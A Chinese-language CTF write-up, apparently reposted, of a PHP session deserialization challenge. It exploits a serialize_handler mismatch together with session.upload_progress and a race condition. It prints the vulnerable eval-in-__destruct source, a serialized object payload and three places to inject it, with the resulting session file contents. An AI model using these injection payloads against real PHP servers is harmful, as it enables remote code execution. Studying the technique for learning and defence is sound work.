題目:海河工匠
<?php //O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ini_set('session.serialize_handler', 'php'); session_start(); highlight_file(__FILE__); class Demo{ public $test; function __destruct(){ eval($this->test); } } ?>子目錄泄露,訪問phpinfo.php頁面
發現php.ini中是php_serialize、但是index.php里面設定為了php、并且有session_start(自動反序列化),同時修改了progress.name,也開啟了cleanup和enabled,所以可以通過session上傳進度,上傳session檔案,內容為反序列化內容,同時條件競爭即可,
結合:
WEB82-session檔案包含
WEB263-session反序列化
進一步了解session和session.upload_progress知識
一、
cleanup 只會清除session檔案內容,不會清楚session檔案
二、
當頁面使用ini_set修改php.ini檔案的內容時,phpinfo()里面的local value內容也會修改
我們在腳本使用了ini_set('session.serialize_handler', 'php'); 而php.ini中使用的php_serialize
所以phpinfo()顯示為:
三、
關于session.auto_start并且腳本里面沒有session_start()函式時,cookie里面不會有PHPSESSID,
四、
PHPSESSID:
參考鏈接:cookie 中的 PHPSESSID_樹洞樹洞-單純記錄-CSDN博客_phpsessid
如果PHP腳本中有:
session_start();則說明使用了SESSION,
SESSION是一種機制,可以在服務器端跨檔案暫時保存資料或傳遞資料,常用于購物車等方面,SESSION只在用戶關閉瀏覽器之前有效,
PHP是怎樣識別不同的SESSION的呢?
每一次SESSION會話都有一個SESSION ID,用來識別不同的會話,保存在瀏覽器Cookie之中,也就是這個名為PHPSESSID的Cookie
當然,通過修改session.name的值,這個名稱是可以更改的,
瀏覽器將Cookie(包括PHPSESSID)發送給服務器,PHP才知道應該使用哪一個SESSION傳遞給PHP程式,
當php.ini(Windows下PHP的組態檔)中的
session.auto_start = On時,PHP會自動創建SESSION,改為:
session.auto_start = OffPHP就不會自動創建SESSION了,
但當session.auto_start=off的時候,若腳本中有這么一行代碼:
session_start();那么即使session.auto_start = Off,cookie里面也會自動創建一個PHPSEEID
這個PHPSESSION 的值就是session檔案名字的一部分
檔案名為:sess_PHPSESSID的值
這里因為有sess_start(),所以會自動創建一個PHPSESSID,我把它的值修改為flag
那么對應的session檔案為:
五、
當腳本中沒有session_start()同時seesion.auto_start()=Off的時候,cookie中是沒有PHPSESSID這個東西的,
但是可以通過session.use_strict_mode=0;(默認關閉)
所以我們能自己創建一個session檔案,但是要配合session上傳進度使用才會有對應的session檔案,
這樣是沒有xxx這個session檔案的
這樣才有okokxxx這個session檔案,且內容不為空
五.1、
同時在對一個同時有session_start()代碼和ini_set('session.serialize_handler', 'php或者php_serialize')代碼的頁面使用session上傳進度的時候
(對沒有session__start()的頁面沒有影響)
若能成功反序列化則sessoin檔案不為空
session檔案內容為:
a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635162635;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
若是正常上傳session進度,則存在session檔案,但是內容為空
若待反序列化的字串是錯誤的,則不存在session檔案
六、
在session上傳的時候,有時候會出現PHPSESSID有時候會沒有,比如會這樣:
有PHPSESSID
無PHPSESSID
原因:沒有PHPSESSID是因為在使用session上傳進度之前我們洗掉了目標頁面對應的PHPSESSID,沒有的話自己加上也是可以的
七、
上傳目標頁面:
<?php //O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ini_set('session.serialize_handler', 'php'); highlight_file(__FILE__); ?>當php.ini配置為session.serialize_handler=php_serialize,而當前頁面為session.serialize_handler=php
使用session上傳進度
session檔案內容:
a:1:{s:23:"upload_progress_payload";a:5:{s:10:"start_time";i:1635170318;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpOr9kMY";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170318;s:15:"bytes_processed";i:1312;}}}}
上傳目標頁面:
<?php //O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ini_set('session.serialize_handler', 'php_serialize'); highlight_file(__FILE__); ?>當php.ini配置為session.serialize_handler=php,而當前頁面為session.serialize_handler=php_serialize
使用session上傳進度
session檔案內容:
upload_progress_payload|a:5:{s:10:"start_time";i:1635170618;s:14:"content_length";i:1668;s:15:"bytes_processed";i:1668;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}";s:8:"tmp_name";s:26:"/private/var/tmp/phpirELYU";s:5:"error";i:0;s:4:"done";b:1;s:10:"start_time";i:1635170618;s:15:"bytes_processed";i:1312;}}}
所以利用session上傳進度設定session檔案內容時,不管頁面的ini_set('session.serialize_handler', 'php');設定為php還是php_serialize,都是按照php.ini里面的session.serialize_handler來設定的,
八、
session上傳進度三個反序列化點:
目標頁面:
<?php //O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";} ini_set('session.serialize_handler', 'php_serialize'); session_start(); highlight_file(__FILE__); class Demo{ public $test; function __destruct(){ eval($this->test); } } ?>(1)修改filename,需要轉義,在雙引號前面加上\
session檔案內容
a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176574;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
(2)修改name,需要轉義,在雙引號前面加上\
session檔案內容:
a:1:{s:19:"upload_progress_123";a:5:{s:10:"start_time";i:1635176884;s:14:"content_length";i:1664;s:15:"bytes_processed";i:1664;s:4:"done";b:1;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:45:"|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
(3)同進行session檔案包含一樣,修改PHP_SESSION_UPLOAD_PROGRESS的值
這里不需要轉義
session檔案內容
a:1:{s:61:"upload_progress_|O:4:"Demo":1:{s:4:"test";s:10:"phpinfo();";}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/337616.html
標籤:其他









所以我們能自己創建一個session檔案,










使用session上傳進度 




